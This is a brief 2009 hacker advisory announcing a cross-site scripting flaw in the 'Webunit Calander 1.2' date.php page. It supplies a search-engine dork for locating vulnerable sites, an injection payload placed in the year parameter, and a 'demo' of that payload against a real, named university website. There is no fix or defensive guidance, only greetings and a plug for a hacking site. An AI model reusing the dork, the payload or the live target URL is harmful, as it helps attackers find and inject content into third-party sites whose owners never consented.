webunitcal-xss.txt
Posted on 02 April 2009
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Xss Vuln. Found on Webunit Calander 1.2 by r0ot =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Dork: inurl:"date.php?year=" Exploit: http://somesite.com/date.php?year="><h1>lol...</h1> Demo: http://foxtalbot.dmu.ac.uk/letters/date.php?year="><h1>lol...</h1> gr33tz: d14l,Soul,geek,InViSiBle,VuksaLFC,Marcoj,csi and others ;) Visit x0rg.org [ Your Hack Resource ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
